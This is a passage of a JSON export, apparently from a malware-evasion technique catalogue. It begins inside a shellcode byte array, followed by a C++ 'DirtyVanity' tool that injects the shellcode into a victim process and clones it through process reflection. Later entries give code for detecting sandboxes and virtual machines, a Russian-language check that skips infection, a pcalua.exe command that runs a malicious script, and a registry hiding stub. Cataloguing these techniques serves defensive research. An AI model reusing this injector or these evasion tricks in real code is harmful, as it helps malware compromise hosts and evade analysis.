0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00,\r\n  0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n  0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n  0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98, 0x01,\r\n  0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,\r\n  0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0,\r\n  0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00,\r\n  0xC7, 0x80, 0x14, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,\r\n  0x48, 0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,\r\n  0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00, 0x48, 0xB8,\r\n  0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,\r\n  0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41,\r\n  0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00,\r\n  0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,\r\n  0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x41,\r\n  0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8,\r\n  0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,\r\n  0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8,\r\n  0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48,\r\n  0x89, 0x85, 0xF8, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74,\r\n  0x6C, 0x43, 0x72, 0x65, 0x61, 0x74, 0x48, 0x89, 0x45, 0x38,\r\n  0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73,\r\n  0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,\r\n  0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,\r\n  0x45, 0x50, 0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38,\r\n  0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n  0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x00, 0x02, 0x00, 0x00,\r\n  0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,\r\n  0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,\r\n  0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,\r\n  0x45, 0x30, 0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20,\r\n  0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n  0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0x02, 0x00, 0x00,\r\n  0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55,\r\n  0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,\r\n  0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,\r\n  0x45, 0x30, 0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20,\r\n  0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,\r\n  0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x10, 0x02, 0x00, 0x00,\r\n  0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00,\r\n  0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,\r\n  0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8,\r\n  0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89,\r\n  0x45, 0x70, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,\r\n  0x53, 0x00, 0x48, 0x89, 0x45, 0x78, 0x48, 0xB8, 0x79, 0x00,\r\n  0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x80,\r\n  0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32,\r\n  0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00,\r\n  0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00,\r\n  0x48, 0x89, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x65,\r\n  0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85,\r\n  0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60, 0x48, 0x8D,\r\n  0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,\r\n  0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C,\r\n  0x00, 0x48, 0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8,\r\n  0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x57, 0x00, 0x48, 0x89,\r\n  0x85, 0xA8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x69, 0x00, 0x6E,\r\n  0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85, 0xB0, 0x00,\r\n  0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,\r\n  0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48,\r\n  0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48,\r\n  0x89, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00,\r\n  0x33, 0x00, 0x32, 0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0xC8,\r\n  0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64,\r\n  0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,\r\n  0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00,\r\n  0x48, 0x89, 0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F,\r\n  0x00, 0x6B, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x48, 0x89, 0x85,\r\n  0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x73, 0x00, 0x67, 0x00,\r\n  0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8, 0x00, 0x00,\r\n  0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,\r\n  0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8,\r\n  0x6C, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89,\r\n  0x85, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F,\r\n  0x00, 0x6D, 0x00, 0x20, 0x00, 0x48, 0x89, 0x85, 0x00, 0x01,\r\n  0x00, 0x00, 0x48, 0xB8, 0x44, 0x00, 0x69, 0x00, 0x72, 0x00,\r\n  0x74, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,\r\n  0xB8, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x61, 0x00, 0x48,\r\n  0x89, 0x85, 0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00,\r\n  0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x48, 0x89, 0x85, 0x18,\r\n  0x01, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x20, 0x01, 0x00, 0x00,\r\n  0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00,\r\n  0x00, 0x48, 0x8D, 0x8D, 0x28, 0x02, 0x00, 0x00, 0xFF, 0x95,\r\n  0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x38, 0x02, 0x00,\r\n  0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50, 0x01,\r\n  0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00,\r\n  0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00,\r\n  0x00, 0x48, 0xC7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00,\r\n  0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48,\r\n  0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D,\r\n  0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,\r\n  0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18,\r\n  0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00,\r\n  0xFF, 0x95, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40,\r\n  0x02, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x33, 0xC0, 0xB9, 0x58,\r\n  0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7, 0x85, 0x40, 0x02,\r\n  0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48, 0x02,\r\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00,\r\n  0x00, 0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00,\r\n  0x00, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00,\r\n  0x48, 0x8B, 0x4C, 0x01, 0x28, 0xFF, 0x95, 0xF8, 0x01, 0x00,\r\n  0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x8B,\r\n  0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28, 0x00,\r\n  0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0,\r\n  0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44,\r\n  0x01, 0x08, 0x05, 0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00,\r\n  0x00, 0x48, 0x6B, 0xC0, 0x00, 0x0F, 0xB7, 0x8D, 0x18, 0x02,\r\n  0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02, 0x00, 0x00, 0x48,\r\n  0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48,\r\n  0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00,\r\n  0x48, 0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54,\r\n  0x01, 0x18, 0x48, 0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00,\r\n  0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00,\r\n  0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x85, 0x40, 0x02,\r\n  0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x85,\r\n  0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7,\r\n  0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24,\r\n  0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28,\r\n  0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00,\r\n  0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0x41,\r\n  0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0, 0x02,\r\n  0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF,\r\n  0x95, 0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00,\r\n  0x00, 0x48, 0xB8, 0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65,\r\n  0x6E, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8, 0x64, 0x54, 0x68,\r\n  0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89, 0x45, 0x18, 0x48,\r\n  0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00,\r\n  0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0,\r\n  0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF,\r\n  0xFF, 0xFF, 0xFF, 0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D,\r\n  0xA5, 0x58, 0x03, 0x00, 0x00, 0x5F, 0x5D, 0xC3\r\n};\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\r\n\tDWORD victimPid;\r\n\tif (argc != 2)\r\n\t{\r\n\t\tstd::cout << \"[+] USAGE: DirtyVanity [TARGET_PID_TO_REFLECT]\" << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::string pidArg = argv[1];\r\n\ttry\r\n\t{\r\n\t\tvictimPid = std::stoi(pidArg);\r\n\t}\r\n\tcatch (std::invalid_argument const& ex)\r\n\t{\r\n\t\tstd::cout << \"[-] USAGE: Invalid PID choice \" << pidArg << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tHANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);\r\n\tif (victimHandle == nullptr)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error using OpenProcess on PID {}: ERROR {}\", victimPid, GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << \"[+] Got a handle to PID \" << pidArg << \" succesfuly\" << std::endl;\r\n\r\n\t// allocate shellcode within victim\r\n\tDWORD_PTR shellcodeSize = sizeof(shellcode);\r\n\r\n\tLPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n\tif (baseAddress == nullptr)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error allocating shellcode with VirtualAllocEx on PID {}: ERROR {}\", victimPid, GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << std::format(\"[+] Allocated space for shellcode in start address: {}\", baseAddress) << std::endl;\r\n\r\n\t//write shellcode\r\n\tsize_t bytess = 0;\r\n\r\n\tbool status = WriteProcessMemory(victimHandle, baseAddress, shellcode, sizeof(shellcode), &bytess);\r\n\tif (!status)\r\n\t{\r\n\t\tstd::cout << std::format(\"[-] Error writing shellcode with WriteProcessMemory on Explorer.exe : ERROR {}\", GetLastError()) << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\tstd::cout << \"[+] Succesfuly wrote shellcode to victim. about to start the Mirroring\" << std::endl;\r\n\r\n\r\n\tHMODULE lib = LoadLibraryA(\"ntdll.dll\");\r\n\tif (!lib)\r\n\t{\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tRtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(lib, \"RtlCreateProcessReflection\");\r\n\tif (!RtlCreateProcessReflection)\r\n\t{\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tT_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };\r\n\tNTSTATUS reflectRet = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, baseAddress, nullptr, NULL, &info);\r\n\tif (reflectRet == STATUS_SUCCESS) {\r\n\t\tstd::cout << \"[+] Succesfully Mirrored to new PID: \" << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"[!] Error Mirroring: ERROR \" << GetLastError() << std::endl;\r\n\t}\r\n\r\n\treturn reflectRet;\r\n}"
        },
        {
            "id": 165,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/15/?format=api",
            "description": "In this code, we use the open function to attempt to open the \\\\.\\pipe\\cuckoo named pipe for reading. If the named pipe exists and can be opened, the open function will return a file descriptor greater than or equal to zero. In this case, we conclude that we are running on a virtual machine, and we print a message indicating this. If the named pipe does not exist, the open function will return a negative value, and we conclude that we are running on a physical machine. In both cases, we print a message indicating the type of machine we are running on.",
            "plain_code": "#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <fcntl.h>\r\n\r\nint main()\r\n{\r\n    // Attempt to open the Cuckoo named pipe\r\n    int fd = open(\"\\\\\\\\.\\\\pipe\\\\cuckoo\", O_RDONLY);\r\n    if (fd >= 0) {\r\n        // The named pipe exists, so we are running on a virtual machine\r\n        printf(\"We are running on a virtual machine.\\n\");\r\n        close(fd);\r\n    } else {\r\n        // The named pipe does not exist, so we are running on a physical machine\r\n        printf(\"We are running on a physical machine.\\n\");\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 164,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/17/?format=api",
            "description": "In this code, we use inline assembly to execute the SIDT instruction, which retrieves the value of the IDTR and stores it in the idtr variable. We then check the value of the idtr variable, and if it is non-zero, we conclude that we are running on a virtual machine. In both cases, we print a message indicating the type of machine we are running on. Note that this code is for demonstration purposes only and may not work on all systems.",
            "plain_code": "#include <stdio.h>\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include <inttypes.h>\r\n\r\nint main()\r\n{\r\n    // Retrieve the value of the IDTR\r\n    uint64_t idtr;\r\n    asm volatile (\r\n        \"sidt %0\"\r\n        : \"=m\" (idtr)\r\n    );\r\n\r\n    // Check the value of the IDTR\r\n    if (idtr != 0) {\r\n        // We are running on a virtual machine\r\n        printf(\"We are running on a virtual machine.\\n\");\r\n    } else {\r\n        // We are running on a physical machine\r\n        printf(\"We are running on a physical machine.\\n\");\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 163,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/101/?format=api",
            "description": "In this code, the `IsLanguageInstalled` function is used to check if the specified language, indicated by its LCID (Language Code Identifier), is installed on the system. In this case, the malware could check the languages installed on a Windows machine and not run if Russian is present.",
            "plain_code": "#include <Windows.h>\r\n#include <winreg.h>\r\n\r\n#define LANG_KEY \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Nls\\\\Language\"\r\n#define RUSSIAN_LCID 1049\r\n\r\n// Check if the specified LCID is installed on the system\r\nbool IsLanguageInstalled(LCID lcid)\r\n{\r\n  HKEY hKey;\r\n  if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, LANG_KEY, 0, KEY_READ, &hKey) == ERROR_SUCCESS)\r\n  {\r\n    DWORD dwIndex = 0;\r\n    WCHAR szValueName[32];\r\n    DWORD dwValueNameLen = sizeof(szValueName);\r\n    while (RegEnumValue(hKey, dwIndex++, szValueName, &dwValueNameLen, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)\r\n    {\r\n      LCID lcidValue = _wtoi(szValueName);\r\n      if (lcidValue == lcid)\r\n      {\r\n        RegCloseKey(hKey);\r\n        return true;\r\n      }\r\n    }\r\n    RegCloseKey(hKey);\r\n  }\r\n  return false;\r\n}\r\n\r\nint main()\r\n{\r\n  if (IsLanguageInstalled(RUSSIAN_LCID))\r\n  {\r\n    // Russian language is installed, do not run malware\r\n    return 0;\r\n  }\r\n  else\r\n  {\r\n    // Russian language is not installed, run malware\r\n    // ...\r\n  }\r\n  return 0;\r\n}"
        },
        {
            "id": 162,
            "language": {
                "id": 7,
                "label": "cmd",
                "code_class": "cmd"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/123/?format=api",
            "description": "The pcalua.exe utilities is used to execute a malicious PowerShell script (.ps1) .",
            "plain_code": "C:\\> pcalua.exe -run \"C:\\malicious-script.ps1\""
        },
        {
            "id": 161,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/135/?format=api",
            "description": "The code uses the Windows API to open a registry key and create a new value within that key. The value is set to a binary data type, which could be used to store the malware itself. This code would need to be compiled and executed on a system to hide the malware in the registry.",
            "plain_code": "#include <Windows.h>\r\n\r\nint main()\r\n{\r\n  // Open the registry key where the malware will be hidden\r\n  HKEY hKey;\r\n  RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\MyMalware\", 0, KEY_WRITE, &hKey);\r\n  \r\n  // Create a new value in the registry key to store the malware\r\n  DWORD dwValue = 1;\r\n  RegSetValueEx(hKey, \"HiddenValue\", 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(dwValue));\r\n  \r\n  // Close the registry key\r\n  RegCloseKey(hKey);\r\n  \r\n  // Return success\r\n  return 0;\r\n}"
        }
    ]
}